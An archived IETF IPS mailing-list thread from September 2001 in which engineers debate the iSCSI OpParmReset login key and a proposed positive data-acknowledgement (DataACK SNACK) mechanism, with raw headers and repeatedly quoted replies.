fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Mon, 24 Sep 2001 12:35:17 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Mon, 24 Sep 2001 12:35:17 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A90E@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iscsi : OpParmreset Date: Mon, 24 Sep 2001 12:36:24 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Is OpParmReset still needed now that there is no operational parameter negotiation until after the security phase? Why would both sides negoitiate a set of parameters only for one side to reset. Surely if one side during login is not happy then it should close the connection. In FFP, as there is no way to re-negotiate (after the OpParmReset) again if one side is not happy then should it not close the connection and start a new one. Also if in FFP, if OpParmReset is sent then does it just reset those parameters that can be negoiated during FFP and not those restricted to the login phase? If so would it be easier to negotiate those parameters using the explicit name (e.g. InitialR2T) and remove the restriction of (example) "Once set to no, it can not be set back to yes" - as this is what using OpParmReset permits. Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, September 21, 2001 4:34 PM To: ips@ece.cmu.edu Subject: Re: iscsi : OpParmreset Santosh, The main purpose of this key was to explicitly cancel the effects of a running negotiation and restart anew. As the draft stands now there is no much difference between the two - but on basic principles the purposes are different (as you well stated). We may change the value to be: OpParmReset= to accommodate both semantics. Julo Santosh Rao hp.com> cc: Sent by: Subject: iscsi : OpParmreset owner-ips@ece. cmu.edu 20-09-01 22:19 Please respond to Santosh Rao All, Please refer the definition of OpParmReset login key. " 30 OpParmReset OpParmReset enables an Initiator or Target to request the operational parameters to be reset to the values they had before the negotiation." I suggest that the definition be re-worded to state that the OpParmReset enables an initiator or target to reset the operational parameters to their DEFAULT VALUES. [instead of the current definition that states that the parameters are reset to the values they had prior to the current negotiation.] The current definition requires the initiator to maintain 2 sets of operational parameter values, the current and the previous. In the case where initiator is just booting up, if the target sets OpParmReset to "yes", the initiator does not know what to set the op params to, since it has lost its prior state information. Comments ? Thanks, Santosh - santoshr.vcf From owner-ips@ece.cmu.edu Tue Sep 25 07:21:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAB27525 for ; Tue, 25 Sep 2001 07:21:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PA9Q613414 for ips-outgoing; Tue, 25 Sep 2001 06:09:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PA9KP13405 for ; Tue, 25 Sep 2001 06:09:21 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id DAA23286; Tue, 25 Sep 2001 03:08:28 -0700 (PDT) From: "Rod Harrison" To: "Santosh Rao" , Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 11:10:37 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <3BAFDAE4.D31674DF@cup.hp.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I agree, I don't believe we need to positively ACK DATA-IN PDUs. IIRC the WG consensus has been that a target can free its resources whenever it chooses, reconstructing data from the media if necessary. I also agree that long DATA-IN sequences are unlikely enough to make a positive ACK unnecessary. However, consider the following. In the unlikely event of a DATA-IN sequence being long enough to push the target towards some critical resource limitation, the target could get some measure of confidence that it can release resources by sending a non-immediate NOP-IN ping request on the same connection. It is guaranteed that the initiator won't process the NOP-IN until all the DATA-IN PDUs have been read from the wire and processed. The initiator will send a NOP-OUT ping response on the same connection to the target. The initiator isn't going to do anything with the data except DMA to the host, so when the target receives the ping response it knows that worst case a couple of DMAs might be outstanding. If the target now frees the resources it had associated with some, or all, of the DATA-IN PDUs sent before the NOP-IN I believe the chance of them being needed again is very small. Worst case is that the target receives a data SNACK after freeing some of the resources, in which case the target reconstructs the data from the media, or simply sends a SNACK rejected ASC read error and forces the initiator into a higher level of recovery. I think this is unlikely enough to be acceptable. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Santosh Rao Sent: Tuesday, September 25, 2001 2:16 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Julian, I'm opposed to any use of out-of-band techniques by initiators to perform acks of data-in pdu's. If at all this level of data ack is required, I would like to suggest a simpler in-band ack mechanism which is that targets number all PDUs that are transmitted from target to initiator with a sequence number. (say, InboundSN) on a per connection basis. Initiators can then acknowledge inbound PDUs as they are received by sending ExpInboundSN updates on outbound PDUs. Such a technique is simpler to implement for initiators, less expensive in terms of resources and does not impact performance. Specific to your proposal below, I am concerned about the data ack's being based at sequence boundaries (thru the use of F bit in data-in PDU to indicate "Data ACK" required). This may result in data ack's being generated too frequently. The data ack boundaries should be signalled through a seperate bit rather than over-riding the semantics of the F bit. That said, I am opposed to the below proposal for all the reasons outlined earlier + the above. IF a data ack scheme is required (I did'nt hear enough "yes" calls to over-ride the Orlando WG consensus (?) ), then, I would favor an in-band technique such as the one suggested in this mail, wherein no extra PDUs are required from initiator to target for the sole purpose of acknowledging another inbound PDU or set of inbound PDUs. Thanks, Santosh Julian Satran wrote: > Here is updated version (in the previous I had excluded the sequences ended > with Status with no good reason. > > Julo > > (See attached file: ack.txt) > > ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- > > > Julian Satran > To: ips@ece.cmu.edu > 22-09-2001 cc: > 14:04 From: Julian Satran/Haifa/IBM@IBMIL > Subject: iSCSI - positive data ack - change > proposal > > > > > Dear colleagues, > > As I mentioned earlier all the elements needed for positive data-ack are > already in place. > > I am suggesting the following changes to the document to reintroduce the > data-ACK. > > Comments? > > Julo > > **** Attachment ack.txt has been removed from this note on 23 September > 2001 by Julian Satran **** > > ------------------------------------------------------------------ ------ > Within 2.2.2.3 > --------------- > > Initiators MAY also acknowledge received data and reduce by this the resources a target needs to dedicate to data recovery if target and initiator support this type of recovery. > > ------ > 3.7.1 F (Final) Bit > > For outgoing data, this bit is 1 for the last PDU of unsolicited data or the last PDU of a sequence answering an R2T. > > For incoming data, this bit is 1 for the last input (read) data PDU of a sequence. Input can be split in several sequences each one having it's own F bit. Splitting in sequences does not affect DataSN counting on Data-In PDUs but MAY be used as a "change direction" indication for Bidirectional operations that need such a change and/or end of recoverable sequences by targets with a limited retransmission buffer. Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task. > > For Bidirectional operations, the F bit is 1 both for the end of the input sequences as well as the end of the output sequences. > > > ----------- > > 3.16 SNACK Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|0|1| 0x10 |1|Rsrvd| Type | Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 20| BegRun | > +---------------+---------------+---------------+---------------+ > 24| RunLength | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| Reserved | > +---------------+---------------+---------------+---------------+ > 36| ExpDataSN or Reserved | > +---------------+---------------+---------------+---------------+ > 32/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > Support for SNACK is optional. > > SNACK request is used to request retransmission of numbered-responses, data or R2T PDUs from the target. The SNACK request indicates to the target the missed numbered-response or data run, where the run is composed of an initial missed StatSN, DataSN or R2TSN and the number of additional missed Status, Data or R2T PDUs (0 means only the initial). > > The numbered-response, Data or R2T PDUs requested by a SNACK have to be delivered as exact replicas of the ones the initiator missed including all its flags. > > Any SNACK requesting a numbered-response, Data or R2T that was not sent by the target MUST be rejected with a reason code of "Invalid SNACK". > > SNACK is also used to positively acknowledge Data-In PDUs. > > 3.16.1 Type > > This field encodes the SNACK function as follows: > > 0-Data/R2T SNACK - requesting retransmission of a Data-In or R2T PDU > 1-Status SNACK - requesting retransmission of a numbered response > 2-DataACK - positively acknowledges Data-In PDUs > > All other values are reserved. > > Data/R2T SNACK for a command MUST precede status acknowledgement for the given command. > > For a Data/R2T SNACK or a DataACK, the Initiator Task Tag MUST be set to the Initiator Task Tag of the referenced Command. Otherwise, it is reserved. > > For a Status SNACK the ExpDataSN field is reserved. > > An iSCSI target that does not support recovery within connection MAY discard status SNACK. If the target supports command recovery within session it MAY discard the SNACK after which it MUST issue an Asynchronous Message PDU with an iSCSI event indicating "Request Logout". > > If an initiator operates at ErrorRecoveryLevel 1 or higher it MUST issue a SNACK of type DataACK after receiving a Data-In PDU with the F bit set to 1. > > 3.16.2 BegRun > > First missed DataSN, R2TSN or StatSN > > 3.16.3 RunLength > > RunLength is the number of sequential missed DataSN, R2TSN or StatSN. RunLength 0 signals that all Data-In, R2T or Response PDUs carrying numbers equal or greater to BegRun have to be resent. From owner-ips@ece.cmu.edu Tue Sep 25 07:28:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27672 for ; Tue, 25 Sep 2001 07:28:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PA4Ds13175 for ips-outgoing; Tue, 25 Sep 2001 06:04:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PA4AP13168 for ; Tue, 25 Sep 2001 06:04:12 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id C17FF1712; Mon, 24 Sep 2001 12:39:01 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id LAA15306; Mon, 24 Sep 2001 11:39:01 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Mon, 24 Sep 2001 11:37:51 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Mon, 24 Sep 2001 11:37:51 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A90C@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Date: Mon, 24 Sep 2001 11:38:57 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 08:50:39 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00625 for ; Tue, 25 Sep 2001 08:50:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PBeqK17684 for ips-outgoing; Tue, 25 Sep 2001 07:40:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PBeoP17677 for ; Tue, 25 Sep 2001 07:40:50 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id EAA16973; Tue, 25 Sep 2001 04:40:33 -0700 (PDT) From: "Rod Harrison" To: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" , "'Julian Satran'" , Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 12:42:43 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <0B9A57FF1D57D411B47500D0B73E5CC101E7A90C@dickens.bri.hp.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I don't believe this proposal adequately protects the target from resource limitations. This works fine for 1 long running read command, but what about a full command window of read commands each taking 50 or even just 10 DATA-IN PDUs? Seems to me that the target will have to be so conservative that it will end up setting the F bit on almost every DATA-IN, or at least every few. If we end up with that many data ACKs we might as well go along with Santosh's proposal of in-band ACKing. Although I have to admit I don't see how missing DATA-IN PDUs can be detected with in-band ACKs since the next DataSN on a given command can't be predicted. I suppose we could add a previousDataSN to the DATA-IN PDU. I would prefer to see data ACKs dropped. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) Sent: Monday, September 24, 2001 11:39 AM To: 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 08:53:01 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00676 for ; Tue, 25 Sep 2001 08:53:00 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PBsdu18453 for ips-outgoing; Tue, 25 Sep 2001 07:54:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PBsaP18447 for ; Tue, 25 Sep 2001 07:54:36 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 476C08A; Tue, 25 Sep 2001 13:54:34 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id MAA18125; Tue, 25 Sep 2001 12:54:33 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Tue, 25 Sep 2001 12:53:21 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Sep 2001 12:53:21 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A91E@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Rod Harrison'" , "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 12:54:31 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Rod, I agree with what you say especially with the smaller data transfers. For large transfers (e.g. tape streaming) then I still think positive ACKs are useful and having an ACK say every 128K is not too much to ask for in terms of initiator processing and bandwidth. I do think that overriding the F bit is a restriction and a new bit should be created. A new bit would allow target implementations to use it if they desired. Overriding the F bit is open to bandwidth abuse. Cheers Matthew -----Original Message----- From: Rod Harrison [mailto:rod.harrison@windriver.com] Sent: Tuesday, September 25, 2001 12:43 PM To: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2); 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal I don't believe this proposal adequately protects the target from resource limitations. This works fine for 1 long running read command, but what about a full command window of read commands each taking 50 or even just 10 DATA-IN PDUs? Seems to me that the target will have to be so conservative that it will end up setting the F bit on almost every DATA-IN, or at least every few. If we end up with that many data ACKs we might as well go along with Santosh's proposal of in-band ACKing. Although I have to admit I don't see how missing DATA-IN PDUs can be detected with in-band ACKs since the next DataSN on a given command can't be predicted. I suppose we could add a previousDataSN to the DATA-IN PDU. I would prefer to see data ACKs dropped. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) Sent: Monday, September 24, 2001 11:39 AM To: 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 08:53:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00698 for ; Tue, 25 Sep 2001 08:53:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PC1Th18848 for ips-outgoing; Tue, 25 Sep 2001 08:01:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PC1RP18843 for ; Tue, 25 Sep 2001 08:01:27 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id OAA26854 for ; Tue, 25 Sep 2001 14:01:19 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PC1IW21546 for ; Tue, 25 Sep 2001 14:01:19 +0200 Subject: RE: iSCSI - positive data ack - change proposal To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 25 Sep 2001 15:01:40 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 25/09/2001 15:01:18 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 08:54:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00746 for ; Tue, 25 Sep 2001 08:54:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PC23R18876 for ips-outgoing; Tue, 25 Sep 2001 08:02:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PC21P18871 for ; Tue, 25 Sep 2001 08:02:01 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id FAA21585; Tue, 25 Sep 2001 05:01:47 -0700 (PDT) From: "Rod Harrison" To: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" , "'Julian Satran'" , Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 13:03:56 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <0B9A57FF1D57D411B47500D0B73E5CC101E7A91E@dickens.bri.hp.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Mathew, Do you think my suggestion about using NOPs is adequate for things like tape streaming? By the way, I think 128K might be a little small? I've seen quite a few implementations negotiating 64K PDUs, so you'd get an ACK every two DATA-INs. - Rod -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Tuesday, September 25, 2001 12:55 PM To: 'Rod Harrison'; 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Hi Rod, I agree with what you say especially with the smaller data transfers. For large transfers (e.g. tape streaming) then I still think positive ACKs are useful and having an ACK say every 128K is not too much to ask for in terms of initiator processing and bandwidth. I do think that overriding the F bit is a restriction and a new bit should be created. A new bit would allow target implementations to use it if they desired. Overriding the F bit is open to bandwidth abuse. Cheers Matthew -----Original Message----- From: Rod Harrison [mailto:rod.harrison@windriver.com] Sent: Tuesday, September 25, 2001 12:43 PM To: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2); 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal I don't believe this proposal adequately protects the target from resource limitations. This works fine for 1 long running read command, but what about a full command window of read commands each taking 50 or even just 10 DATA-IN PDUs? Seems to me that the target will have to be so conservative that it will end up setting the F bit on almost every DATA-IN, or at least every few. If we end up with that many data ACKs we might as well go along with Santosh's proposal of in-band ACKing. Although I have to admit I don't see how missing DATA-IN PDUs can be detected with in-band ACKs since the next DataSN on a given command can't be predicted. I suppose we could add a previousDataSN to the DATA-IN PDU. I would prefer to see data ACKs dropped. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) Sent: Monday, September 24, 2001 11:39 AM To: 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 08:55:19 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00836 for ; Tue, 25 Sep 2001 08:55:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PBhhC17843 for ips-outgoing; Tue, 25 Sep 2001 07:43:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PBhfP17837 for ; Tue, 25 Sep 2001 07:43:41 -0400 (EDT) Received: from d12relay01.de.ibm.com 